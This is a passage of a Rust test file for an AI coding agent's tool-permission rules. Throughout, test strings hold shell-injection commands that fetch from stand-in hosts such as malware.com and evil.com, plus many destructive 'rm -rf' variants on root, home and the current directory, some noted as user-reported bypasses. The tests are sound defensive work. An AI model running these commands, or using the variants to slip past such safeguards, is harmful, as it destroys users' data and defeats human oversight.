1055 tools,
1056 };
1057 // Invalid patterns block the tool regardless of other settings
1058 assert!(matches!(
1059 ToolPermissionDecision::from_input(
1060 TerminalTool::NAME,
1061 &["echo hi".to_string()],
1062 &p,
1063 ShellKind::Posix
1064 ),
1065 ToolPermissionDecision::Deny(_)
1066 ));
1067 }
1068
1069 #[test]
1070 fn shell_injection_via_double_ampersand_not_allowed() {
1071 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1072 }
1073
1074 #[test]
1075 fn shell_injection_via_semicolon_not_allowed() {
1076 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1077 }
1078
1079 #[test]
1080 fn shell_injection_via_pipe_not_allowed() {
1081 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1082 }
1083
1084 #[test]
1085 fn shell_injection_via_backticks_not_allowed() {
1086 t("echo `wget malware.com`")
1087 .allow(&[pattern("echo")])
1088 .is_confirm();
1089 }
1090
1091 #[test]
1092 fn shell_injection_via_dollar_parens_not_allowed() {
1093 t("echo $(wget malware.com)")
1094 .allow(&[pattern("echo")])
1095 .is_confirm();
1096 }
1097
1098 #[test]
1099 fn shell_injection_via_or_operator_not_allowed() {
1100 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1101 }
1102
1103 #[test]
1104 fn shell_injection_via_background_operator_not_allowed() {
1105 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1106 }
1107
1108 #[test]
1109 fn shell_injection_via_newline_not_allowed() {
1110 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1111 }
1112
1113 #[test]
1114 fn shell_injection_via_process_substitution_input_not_allowed() {
1115 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1116 }
1117
1118 #[test]
1119 fn shell_injection_via_process_substitution_output_not_allowed() {
1120 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1121 }
1122
1123 #[test]
1124 fn shell_injection_without_spaces_not_allowed() {
1125 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1126 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1127 }
1128
1129 #[test]
1130 fn shell_injection_multiple_chained_operators_not_allowed() {
1131 t("ls && echo hello && wget malware.com")
1132 .allow(&["^ls"])
1133 .is_confirm();
1134 }
1135
1136 #[test]
1137 fn shell_injection_mixed_operators_not_allowed() {
1138 t("ls; echo hello && wget malware.com")
1139 .allow(&["^ls"])
1140 .is_confirm();
1141 }
1142
1143 #[test]
1144 fn shell_injection_pipe_stderr_not_allowed() {
1145 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1146 }
1147
1148 #[test]
1149 fn allow_requires_all_commands_to_match() {
1150 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1151 }
1152
1153 #[test]
1154 fn dev_null_redirect_does_not_cause_false_negative() {
1155 // Redirects to /dev/null are known-safe and should be skipped during
1156 // command extraction, so they don't prevent auto-allow from matching.
1157 t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1158 .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1159 .is_allow();
1160 }
1161
1162 #[test]
1163 fn redirect_to_real_file_still_causes_confirm() {
1164 // Redirects to real files (not /dev/null) should still be included in
1165 // the extracted commands, so they prevent auto-allow when unmatched.
1166 t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1167 }
1168
1169 #[test]
1170 fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1171 // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1172 // "echo y\ny" and "git add -p file". Both should match their respective allow
1173 // patterns, so the overall command should be auto-allowed.
1174 t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1175 .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1176 .is_allow();
1177 }
1178
1179 #[test]
1180 fn deny_triggers_on_any_matching_command() {
1181 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1182 }
1183
1184 #[test]
1185 fn deny_catches_injected_command() {
1186 t("ls && rm -rf ./temp")
1187 .allow(&["^ls"])
1188 .deny(&["^rm"])
1189 .is_deny();
1190 }
1191
1192 #[test]
1193 fn confirm_triggers_on_any_matching_command() {
1194 t("ls && sudo reboot")
1195 .allow(&["^ls"])
1196 .confirm(&["^sudo"])
1197 .is_confirm();
1198 }
1199
1200 #[test]
1201 fn always_allow_button_works_end_to_end() {
1202 // This test verifies that the "Always Allow" button behavior works correctly:
1203 // 1. User runs a command like "cargo build --release"
1204 // 2. They click "Always Allow for `cargo build` commands"
1205 // 3. The pattern extracted should match future "cargo build" commands
1206 // but NOT other cargo subcommands like "cargo test"
1207 let original_command = "cargo build --release";
1208 let extracted_pattern = pattern(original_command);
1209
1210 // The extracted pattern should allow the original command
1211 t(original_command).allow(&[extracted_pattern]).is_allow();
1212
1213 // It should allow other "cargo build" invocations with different flags
1214 t("cargo build").allow(&[extracted_pattern]).is_allow();
1215 t("cargo build --features foo")
1216 .allow(&[extracted_pattern])
1217 .is_allow();
1218
1219 // But NOT other cargo subcommands — the pattern is subcommand-specific
1220 t("cargo test").allow(&[extracted_pattern]).is_confirm();
1221 t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1222
1223 // Hyphenated extensions of the subcommand should not match either
1224 // (e.g. cargo plugins like "cargo build-foo")
1225 t("cargo build-foo")
1226 .allow(&[extracted_pattern])
1227 .is_confirm();
1228 t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1229
1230 // But not commands with different base commands
1231 t("npm install").allow(&[extracted_pattern]).is_confirm();
1232
1233 // Chained commands: all must match the pattern
1234 t("cargo build && cargo build --release")
1235 .allow(&[extracted_pattern])
1236 .is_allow();
1237
1238 // But reject if any subcommand doesn't match
1239 t("cargo build && npm install")
1240 .allow(&[extracted_pattern])
1241 .is_confirm();
1242 }
1243
1244 #[test]
1245 fn always_allow_button_works_without_subcommand() {
1246 // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1247 // should only include the command name, not the flag.
1248 let original_command = "ls -la";
1249 let extracted_pattern = pattern(original_command);
1250
1251 // The extracted pattern should allow the original command
1252 t(original_command).allow(&[extracted_pattern]).is_allow();
1253
1254 // It should allow other invocations of the same command
1255 t("ls").allow(&[extracted_pattern]).is_allow();
1256 t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1257
1258 // But not different commands
1259 t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1260
1261 // Chained commands: all must match
1262 t("ls -la && ls /tmp")
1263 .allow(&[extracted_pattern])
1264 .is_allow();
1265 t("ls -la && cat file.txt")
1266 .allow(&[extracted_pattern])
1267 .is_confirm();
1268 }
1269
1270 #[test]
1271 fn nested_command_substitution_all_checked() {
1272 t("echo $(cat $(whoami).txt)")
1273 .allow(&["^echo", "^cat", "^whoami"])
1274 .is_allow();
1275 }
1276
1277 #[test]
1278 fn parse_failure_falls_back_to_confirm() {
1279 t("ls &&").allow(&["^ls$"]).is_confirm();
1280 }
1281
1282 #[test]
1283 fn mcp_tool_default_modes() {
1284 t("")
1285 .tool("mcp:fs:read")
1286 .mode(ToolPermissionMode::Allow)
1287 .is_allow();
1288 t("")
1289 .tool("mcp:bad:del")
1290 .mode(ToolPermissionMode::Deny)
1291 .is_deny();
1292 t("")
1293 .tool("mcp:gh:issue")
1294 .mode(ToolPermissionMode::Confirm)
1295 .is_confirm();
1296 t("")
1297 .tool("mcp:gh:issue")
1298 .mode(ToolPermissionMode::Confirm)
1299 .global_default(ToolPermissionMode::Allow)
1300 .is_confirm();
1301 }
1302
1303 #[test]
1304 fn mcp_doesnt_collide_with_builtin() {
1305 let mut tools = collections::HashMap::default();
1306 tools.insert(
1307 Arc::from(TerminalTool::NAME),
1308 ToolRules {
1309 default: Some(ToolPermissionMode::Deny),
1310 always_allow: vec![],
1311 always_deny: vec![],
1312 always_confirm: vec![],
1313 invalid_patterns: vec![],
1314 },
1315 );
1316 tools.insert(
1317 Arc::from("mcp:srv:terminal"),
1318 ToolRules {
1319 default: Some(ToolPermissionMode::Allow),
1320 always_allow: vec![],
1321 always_deny: vec![],
1322 always_confirm: vec![],
1323 invalid_patterns: vec![],
1324 },
1325 );
1326 let p = ToolPermissions {
1327 default: ToolPermissionMode::Confirm,
1328 tools,
1329 };
1330 assert!(matches!(
1331 ToolPermissionDecision::from_input(
1332 TerminalTool::NAME,
1333 &["x".to_string()],
1334 &p,
1335 ShellKind::Posix
1336 ),
1337 ToolPermissionDecision::Deny(_)
1338 ));
1339 assert_eq!(
1340 ToolPermissionDecision::from_input(
1341 "mcp:srv:terminal",
1342 &["x".to_string()],
1343 &p,
1344 ShellKind::Posix
1345 ),
1346 ToolPermissionDecision::Allow
1347 );
1348 }
1349
1350 #[test]
1351 fn case_insensitive_by_default() {
1352 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1353 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1354 }
1355
1356 #[test]
1357 fn case_sensitive_allow() {
1358 t("cargo test")
1359 .allow_case_sensitive(&[pattern("cargo")])
1360 .is_allow();
1361 t("CARGO TEST")
1362 .allow_case_sensitive(&[pattern("cargo")])
1363 .is_confirm();
1364 }
1365
1366 #[test]
1367 fn case_sensitive_deny() {
1368 t("rm -rf ./temp")
1369 .deny_case_sensitive(&[pattern("rm")])
1370 .is_deny();
1371 t("RM -RF ./temp")
1372 .deny_case_sensitive(&[pattern("rm")])
1373 .mode(ToolPermissionMode::Allow)
1374 .is_allow();
1375 }
1376
1377 #[test]
1378 fn nushell_allows_with_allow_pattern() {
1379 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1380 }
1381
1382 #[test]
1383 fn nushell_allows_deny_patterns() {
1384 t("rm -rf ./temp")
1385 .deny(&["rm\\s+-rf"])
1386 .shell(ShellKind::Nushell)
1387 .is_deny();
1388 }
1389
1390 #[test]
1391 fn nushell_allows_confirm_patterns() {
1392 t("sudo reboot")
1393 .confirm(&["sudo"])
1394 .shell(ShellKind::Nushell)
1395 .is_confirm();
1396 }
1397
1398 #[test]
1399 fn nushell_no_allow_patterns_uses_default() {
1400 t("ls")
1401 .deny(&["rm"])
1402 .mode(ToolPermissionMode::Allow)
1403 .shell(ShellKind::Nushell)
1404 .is_allow();
1405 }
1406
1407 #[test]
1408 fn elvish_allows_with_allow_pattern() {
1409 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1410 }
1411
1412 #[test]
1413 fn rc_allows_with_allow_pattern() {
1414 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1415 }
1416
1417 #[test]
1418 fn multiple_invalid_patterns_pluralizes_message() {
1419 let mut tools = collections::HashMap::default();
1420 tools.insert(
1421 Arc::from(TerminalTool::NAME),
1422 ToolRules {
1423 default: Some(ToolPermissionMode::Allow),
1424 always_allow: vec![],
1425 always_deny: vec![],
1426 always_confirm: vec![],
1427 invalid_patterns: vec![
1428 InvalidRegexPattern {
1429 pattern: "[bad1".into(),
1430 rule_type: "always_deny".into(),
1431 error: "err1".into(),
1432 },
1433 InvalidRegexPattern {
1434 pattern: "[bad2".into(),
1435 rule_type: "always_allow".into(),
1436 error: "err2".into(),
1437 },
1438 ],
1439 },
1440 );
1441 let p = ToolPermissions {
1442 default: ToolPermissionMode::Confirm,
1443 tools,
1444 };
1445
1446 let result = ToolPermissionDecision::from_input(
1447 TerminalTool::NAME,
1448 &["echo hi".to_string()],
1449 &p,
1450 ShellKind::Posix,
1451 );
1452 match result {
1453 ToolPermissionDecision::Deny(msg) => {
1454 assert!(
1455 msg.contains("2 regex patterns"),
1456 "Expected '2 regex patterns' in message, got: {}",
1457 msg
1458 );
1459 }
1460 other => panic!("Expected Deny, got {:?}", other),
1461 }
1462 }
1463
1464 // always_confirm patterns on non-terminal tools
1465 #[test]
1466 fn always_confirm_works_for_file_tools() {
1467 t("sensitive.env")
1468 .tool(EditFileTool::NAME)
1469 .confirm(&["sensitive"])
1470 .is_confirm();
1471
1472 t("normal.txt")
1473 .tool(EditFileTool::NAME)
1474 .confirm(&["sensitive"])
1475 .mode(ToolPermissionMode::Allow)
1476 .is_allow();
1477
1478 t("/etc/config")
1479 .tool(DeletePathTool::NAME)
1480 .confirm(&["/etc/"])
1481 .is_confirm();
1482
1483 t("/home/user/safe.txt")
1484 .tool(DeletePathTool::NAME)
1485 .confirm(&["/etc/"])
1486 .mode(ToolPermissionMode::Allow)
1487 .is_allow();
1488
1489 t("https://secret.internal.com/api")
1490 .tool(FetchTool::NAME)
1491 .confirm(&["secret\\.internal"])
1492 .is_confirm();
1493
1494 t("https://public.example.com/api")
1495 .tool(FetchTool::NAME)
1496 .confirm(&["secret\\.internal"])
1497 .mode(ToolPermissionMode::Allow)
1498 .is_allow();
1499
1500 // confirm on non-terminal tools still beats allow
1501 t("sensitive.env")
1502 .tool(EditFileTool::NAME)
1503 .allow(&["sensitive"])
1504 .confirm(&["\\.env$"])
1505 .is_confirm();
1506
1507 // confirm on non-terminal tools is still beaten by deny
1508 t("sensitive.env")
1509 .tool(EditFileTool::NAME)
1510 .confirm(&["sensitive"])
1511 .deny(&["\\.env$"])
1512 .is_deny();
1513
1514 // global default allow does not bypass confirm on non-terminal tools
1515 t("/etc/passwd")
1516 .tool(EditFileTool::NAME)
1517 .confirm(&["/etc/"])
1518 .global_default(ToolPermissionMode::Allow)
1519 .is_confirm();
1520 }
1521
1522 // Hardcoded security rules tests - these rules CANNOT be bypassed
1523
1524 #[test]
1525 fn hardcoded_blocks_rm_rf_root() {
1526 t("rm -rf /").is_deny();
1527 t("rm -fr /").is_deny();
1528 t("rm -RF /").is_deny();
1529 t("rm -FR /").is_deny();
1530 t("rm -r -f /").is_deny();
1531 t("rm -f -r /").is_deny();
1532 t("RM -RF /").is_deny();
1533 t("rm /").is_deny();
1534 // Long flags
1535 t("rm --recursive --force /").is_deny();
1536 t("rm --force --recursive /").is_deny();
1537 // Extra short flags
1538 t("rm -rfv /").is_deny();
1539 t("rm -v -rf /").is_deny();
1540 // Glob wildcards
1541 t("rm -rf /*").is_deny();
1542 t("rm -rf /* ").is_deny();
1543 // End-of-options marker
1544 t("rm -rf -- /").is_deny();
1545 t("rm -- /").is_deny();
1546 // Prefixed with sudo or other commands
1547 t("sudo rm -rf /").is_deny();
1548 t("sudo rm -rf /*").is_deny();
1549 t("sudo rm -rf --no-preserve-root /").is_deny();
1550 }
1551
1552 #[test]
1553 fn hardcoded_blocks_rm_rf_home() {
1554 t("rm -rf ~").is_deny();
1555 t("rm -fr ~").is_deny();
1556 t("rm -rf ~/").is_deny();
1557 t("rm -rf $HOME").is_deny();
1558 t("rm -fr $HOME").is_deny();
1559 t("rm -rf $HOME/").is_deny();
1560 t("rm -rf ${HOME}").is_deny();
1561 t("rm -rf ${HOME}/").is_deny();
1562 t("rm -RF $HOME").is_deny();
1563 t("rm -FR ${HOME}/").is_deny();
1564 t("rm -R -F ${HOME}/").is_deny();
1565 t("RM -RF ~").is_deny();
1566 // Long flags
1567 t("rm --recursive --force ~").is_deny();
1568 t("rm --recursive --force ~/").is_deny();
1569 t("rm --recursive --force $HOME").is_deny();
1570 t("rm --force --recursive ${HOME}/").is_deny();
1571 // Extra short flags
1572 t("rm -rfv ~").is_deny();
1573 t("rm -v -rf ~/").is_deny();
1574 // Glob wildcards
1575 t("rm -rf ~/*").is_deny();
1576 t("rm -rf $HOME/*").is_deny();
1577 t("rm -rf ${HOME}/*").is_deny();
1578 // End-of-options marker
1579 t("rm -rf -- ~").is_deny();
1580 t("rm -rf -- ~/").is_deny();
1581 t("rm -rf -- $HOME").is_deny();
1582 }
1583
1584 #[test]
1585 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1586 // Path traversal after $HOME / ${HOME} should still be blocked
1587 t("rm -rf $HOME/./").is_deny();
1588 t("rm -rf $HOME/foo/..").is_deny();
1589 t("rm -rf ${HOME}/.").is_deny();
1590 t("rm -rf ${HOME}/./").is_deny();
1591 t("rm -rf $HOME/a/b/../..").is_deny();
1592 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1593 // Subdirectories should NOT be blocked
1594 t("rm -rf $HOME/subdir")
1595 .mode(ToolPermissionMode::Allow)
1596 .is_allow();
1597 t("rm -rf ${HOME}/Documents")
1598 .mode(ToolPermissionMode::Allow)
1599 .is_allow();
1600 }
1601
1602 #[test]
1603 fn hardcoded_blocks_rm_rf_dot() {
1604 t("rm -rf .").is_deny();
1605 t("rm -fr .").is_deny();
1606 t("rm -rf ./").is_deny();
1607 t("rm -rf ..").is_deny();
1608 t("rm -fr ..").is_deny();
1609 t("rm -rf ../").is_deny();
1610 t("rm -RF .").is_deny();
1611 t("rm -FR ../").is_deny();
1612 t("rm -R -F ../").is_deny();
1613 t("RM -RF .").is_deny();
1614 t("RM -RF ..").is_deny();
1615 // Long flags
1616 t("rm --recursive --force .").is_deny();
1617 t("rm --force --recursive ../").is_deny();
1618 // Extra short flags
1619 t("rm -rfv .").is_deny();
1620 t("rm -v -rf ../").is_deny();
1621 // Glob wildcards
1622 t("rm -rf ./*").is_deny();
1623 t("rm -rf ../*").is_deny();
1624 // End-of-options marker
1625 t("rm -rf -- .").is_deny();
1626 t("rm -rf -- ../").is_deny();
1627 }
1628
1629 #[test]
1630 fn hardcoded_cannot_be_bypassed_by_global() {
1631 // Even with global default Allow, hardcoded rules block
1632 t("rm -rf /")
1633 .global_default(ToolPermissionMode::Allow)
1634 .is_deny();
1635 t("rm -rf ~")
1636 .global_default(ToolPermissionMode::Allow)
1637 .is_deny();
1638 t("rm -rf $HOME")
1639 .global_default(ToolPermissionMode::Allow)
1640 .is_deny();
1641 t("rm -rf .")
1642 .global_default(ToolPermissionMode::Allow)
1643 .is_deny();
1644 t("rm -rf ..")
1645 .global_default(ToolPermissionMode::Allow)
1646 .is_deny();
1647 }
1648
1649 #[test]
1650 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1651 // Even with an allow pattern that matches, hardcoded rules block
1652 t("rm -rf /").allow(&[".*"]).is_deny();
1653 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1654 t("rm -rf .").allow(&[".*"]).is_deny();
1655 t("rm -rf ..").allow(&[".*"]).is_deny();
1656 }
1657
1658 #[test]
1659 fn hardcoded_allows_safe_rm() {
1660 // rm -rf on a specific path should NOT be blocked
1661 t("rm -rf ./build")
1662 .mode(ToolPermissionMode::Allow)
1663 .is_allow();
1664 t("rm -rf /tmp/test")
1665 .mode(ToolPermissionMode::Allow)
1666 .is_allow();
1667 t("rm -rf ~/Documents")
1668 .mode(ToolPermissionMode::Allow)
1669 .is_allow();
1670 t("rm -rf $HOME/Documents")
1671 .mode(ToolPermissionMode::Allow)
1672 .is_allow();
1673 t("rm -rf ../some_dir")
1674 .mode(ToolPermissionMode::Allow)
1675 .is_allow();
1676 t("rm -rf .hidden_dir")
1677 .mode(ToolPermissionMode::Allow)
1678 .is_allow();
1679 t("rm -rfv ./build")
1680 .mode(ToolPermissionMode::Allow)
1681 .is_allow();
1682 t("rm --recursive --force ./build")
1683 .mode(ToolPermissionMode::Allow)
1684 .is_allow();
1685 }
1686
1687 #[test]
1688 fn hardcoded_checks_chained_commands() {
1689 // Hardcoded rules should catch dangerous commands in chains
1690 t("ls && rm -rf /").is_deny();
1691 t("echo hello; rm -rf ~").is_deny();
1692 t("cargo build && rm -rf /")
1693 .global_default(ToolPermissionMode::Allow)
1694 .is_deny();
1695 t("echo hello; rm -rf $HOME").is_deny();
1696 t("echo hello; rm -rf .").is_deny();
1697 t("echo hello; rm -rf ..").is_deny();
1698 }
1699
1700 #[test]
1701 fn hardcoded_blocks_rm_with_extra_flags() {
1702 // Extra flags like -v, -i should not bypass the security rules
1703 t("rm -rfv /").is_deny();
1704 t("rm -v -rf /").is_deny();
1705 t("rm -rfi /").is_deny();
1706 t("rm -rfv ~").is_deny();
1707 t("rm -rfv ~/").is_deny();
1708 t("rm -rfv $HOME").is_deny();
1709 t("rm -rfv .").is_deny();
1710 t("rm -rfv ./").is_deny();
1711 t("rm -rfv ..").is_deny();
1712 t("rm -rfv ../").is_deny();
1713 }
1714
1715 #[test]
1716 fn hardcoded_blocks_rm_with_long_flags() {
1717 t("rm --recursive --force /").is_deny();
1718 t("rm --force --recursive /").is_deny();
1719 t("rm --recursive --force ~").is_deny();
1720 t("rm --recursive --force ~/").is_deny();
1721 t("rm --recursive --force $HOME").is_deny();
1722 t("rm --recursive --force .").is_deny();
1723 t("rm --recursive --force ..").is_deny();
1724 }
1725
1726 #[test]
1727 fn hardcoded_blocks_rm_with_glob_star() {
1728 // rm -rf /* is equally catastrophic to rm -rf /
1729 t("rm -rf /*").is_deny();
1730 t("rm -rf ~/*").is_deny();
1731 t("rm -rf $HOME/*").is_deny();
1732 t("rm -rf ${HOME}/*").is_deny();
1733 t("rm -rf ./*").is_deny();
1734 t("rm -rf ../*").is_deny();
1735 }
1736
1737 #[test]
1738 fn hardcoded_extra_flags_allow_safe_rm() {
1739 // Extra flags on specific paths should NOT be blocked
1740 t("rm -rfv ~/somedir")
1741 .mode(ToolPermissionMode::Allow)
1742 .is_allow();
1743 t("rm -rfv /tmp/test")
1744 .mode(ToolPermissionMode::Allow)
1745 .is_allow();
1746 t("rm --recursive --force ./build")
1747 .mode(ToolPermissionMode::Allow)
1748 .is_allow();
1749 }
1750
1751 #[test]
1752 fn hardcoded_does_not_block_words_containing_rm() {
1753 // Words like "storm", "inform" contain "rm" but should not be blocked
1754 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1755 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1756 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1757 }
1758
1759 #[test]
1760 fn hardcoded_blocks_rm_with_trailing_flags() {
1761 // GNU rm accepts flags after operands by default
1762 t("rm / -rf").is_deny();
1763 t("rm / -fr").is_deny();
1764 t("rm / -RF").is_deny();
1765 t("rm / -r -f").is_deny();
1766 t("rm / --recursive --force").is_deny();
1767 t("rm / -rfv").is_deny();
1768 t("rm /* -rf").is_deny();
1769 // Mixed: some flags before path, some after
1770 t("rm -r / -f").is_deny();
1771 t("rm -f / -r").is_deny();
1772 // Home
1773 t("rm ~ -rf").is_deny();
1774 t("rm ~/ -rf").is_deny();
1775 t("rm ~ -r -f").is_deny();
1776 t("rm $HOME -rf").is_deny();
1777 t("rm ${HOME} -rf").is_deny();
1778 // Dot / dotdot
1779 t("rm . -rf").is_deny();
1780 t("rm ./ -rf").is_deny();
1781 t("rm . -r -f").is_deny();
1782 t("rm .. -rf").is_deny();
1783 t("rm ../ -rf").is_deny();
1784 t("rm .. -r -f").is_deny();
1785 // Trailing flags in chained commands
1786 t("ls && rm / -rf").is_deny();
1787 t("echo hello; rm ~ -rf").is_deny();
1788 // Safe paths with trailing flags should NOT be blocked
1789 t("rm ./build -rf")
1790 .mode(ToolPermissionMode::Allow)
1791 .is_allow();
1792 t("rm /tmp/test -rf")
1793 .mode(ToolPermissionMode::Allow)
1794 .is_allow();
1795 t("rm ~/Documents -rf")
1796 .mode(ToolPermissionMode::Allow)
1797 .is_allow();
1798 }
1799
1800 #[test]
1801 fn hardcoded_blocks_rm_with_flag_equals_value() {
1802 // --flag=value syntax should not bypass the rules
1803 t("rm --no-preserve-root=yes -rf /").is_deny();
1804 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1805 t("rm -rf --no-preserve-root=yes /").is_deny();
1806 t("rm --interactive=never -rf /").is_deny();
1807 t("rm --no-preserve-root=yes -rf ~").is_deny();
1808 t("rm --no-preserve-root=yes -rf .").is_deny();
1809 t("rm --no-preserve-root=yes -rf ..").is_deny();
1810 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1811 // --flag (without =value) should also not bypass the rules
1812 t("rm -rf --no-preserve-root /").is_deny();
1813 t("rm --no-preserve-root -rf /").is_deny();
1814 t("rm --no-preserve-root --recursive --force /").is_deny();
1815 t("rm -rf --no-preserve-root ~").is_deny();
1816 t("rm -rf --no-preserve-root .").is_deny();
1817 t("rm -rf --no-preserve-root ..").is_deny();
1818 t("rm -rf --no-preserve-root $HOME").is_deny();
1819 // Trailing --flag=value after path
1820 t("rm / --no-preserve-root=yes -rf").is_deny();
1821 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1822 // Trailing --flag (without =value) after path
1823 t("rm / -rf --no-preserve-root").is_deny();
1824 t("rm ~ -rf --no-preserve-root").is_deny();
1825 // Safe paths with --flag=value should NOT be blocked
1826 t("rm --no-preserve-root=yes -rf ./build")
1827 .mode(ToolPermissionMode::Allow)
1828 .is_allow();
1829 t("rm --interactive=never -rf /tmp/test")
1830 .mode(ToolPermissionMode::Allow)
1831 .is_allow();
1832 // Safe paths with --flag (without =value) should NOT be blocked
1833 t("rm --no-preserve-root -rf ./build")
1834 .mode(ToolPermissionMode::Allow)
1835 .is_allow();
1836 }
1837
1838 #[test]
1839 fn hardcoded_blocks_rm_with_path_traversal() {
1840 // Traversal to root via ..
1841 t("rm -rf /etc/../").is_deny();
1842 t("rm -rf /tmp/../../").is_deny();
1843 t("rm -rf /tmp/../..").is_deny();
1844 t("rm -rf /var/log/../../").is_deny();
1845 // Root via /./
1846 t("rm -rf /./").is_deny();
1847 t("rm -rf /.").is_deny();
1848 // Double slash (equivalent to /)
1849 t("rm -rf //").is_deny();
1850 // Home traversal via ~/./
1851 t("rm -rf ~/./").is_deny();
1852 t("rm -rf ~/.").is_deny();
1853 // Dot traversal via indirect paths
1854 t("rm -rf ./foo/..").is_deny();
1855 t("rm -rf ../foo/..").is_deny();
1856 // Traversal in chained commands
1857 t("ls && rm -rf /tmp/../../").is_deny();
1858 t("echo hello; rm -rf /./").is_deny();
1859 // Traversal cannot be bypassed by global or allow patterns
1860 t("rm -rf /tmp/../../")
1861 .global_default(ToolPermissionMode::Allow)
1862 .is_deny();
1863 t("rm -rf /./").allow(&[".*"]).is_deny();
1864 // Safe paths with traversal should still be allowed
1865 t("rm -rf /tmp/../tmp/foo")
1866 .mode(ToolPermissionMode::Allow)
1867 .is_allow();
1868 t("rm -rf ~/Documents/./subdir")
1869 .mode(ToolPermissionMode::Allow)
1870 .is_allow();
1871 }
1872
1873 #[test]
1874 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1875 t("rm -rf /tmp /").is_deny();
1876 t("rm -rf /tmp/foo /").is_deny();
1877 t("rm -rf /var/log ~").is_deny();
1878 t("rm -rf /safe $HOME").is_deny();
1879 }
1880
1881 #[test]
1882 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1883 t("rm -rf / /tmp").is_deny();
1884 t("rm -rf ~ /var/log").is_deny();
1885 t("rm -rf . /tmp/foo").is_deny();
1886 t("rm -rf .. /safe").is_deny();
1887 }
1888
1889 #[test]
1890 fn hardcoded_allows_rm_multi_path_all_safe() {
1891 t("rm -rf /tmp /home/user")
1892 .mode(ToolPermissionMode::Allow)
1893 .is_allow();
1894 t("rm -rf ./build ./dist")
1895 .mode(ToolPermissionMode::Allow)
1896 .is_allow();
1897 t("rm -rf /var/log/app /tmp/cache")
1898 .mode(ToolPermissionMode::Allow)
1899 .is_allow();
1900 }
1901
1902 #[test]
1903 fn hardcoded_blocks_rm_multi_path_with_traversal() {
1904 t("rm -rf /safe /tmp/../../").is_deny();
1905 t("rm -rf /tmp/../../ /safe").is_deny();
1906 t("rm -rf /safe /var/log/../../").is_deny();
1907 }
1908
1909 #[test]
1910 fn hardcoded_blocks_user_reported_bypass_variants() {
1911 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1912 t("rm -rf /etc/../").is_deny();
1913 t("rm -rf /etc/..").is_deny();
1914 // User report: --no-preserve-root (without =value) should not bypass
1915 t("rm -rf --no-preserve-root /").is_deny();
1916 t("rm --no-preserve-root -rf /").is_deny();
1917 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1918 t("rm -rf /*").is_deny();
1919 // Chained with sudo
1920 t("sudo rm -rf /").is_deny();
1921 t("sudo rm -rf --no-preserve-root /").is_deny();
1922 // Traversal cannot be bypassed even with global allow or allow patterns
1923 t("rm -rf /etc/../")
1924 .global_default(ToolPermissionMode::Allow)
1925 .is_deny();
1926 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1927 t("rm -rf --no-preserve-root /")
1928 .global_default(ToolPermissionMode::Allow)
1929 .is_deny();
1930 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1931 }
1932
1933 #[test]
1934 fn normalize_path_relative_no_change() {
1935 assert_eq!(normalize_path("foo/bar"), "foo/bar");
1936 }
1937
1938 #[test]
1939 fn normalize_path_relative_with_curdir() {
1940 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1941 }
1942
1943 #[test]
1944 fn normalize_path_relative_with_parent() {
1945 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1946 }
1947
1948 #[test]
1949 fn normalize_path_absolute_preserved() {
1950 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1951 }
1952
1953 #[test]
1954 fn normalize_path_absolute_with_traversal() {
1955 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1956 }
1957
1958 #[test]
1959 fn normalize_path_root() {
1960 assert_eq!(normalize_path("/"), "/");
1961 }
1962
1963 #[test]
1964 fn normalize_path_parent_beyond_root_clamped() {
1965 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1966 }
1967
1968 #[test]
1969 fn normalize_path_curdir_only() {
1970 assert_eq!(normalize_path("."), "");
1971 }
1972
1973 #[test]
1974 fn normalize_path_empty() {
1975 assert_eq!(normalize_path(""), "");
1976 }
1977
1978 #[test]
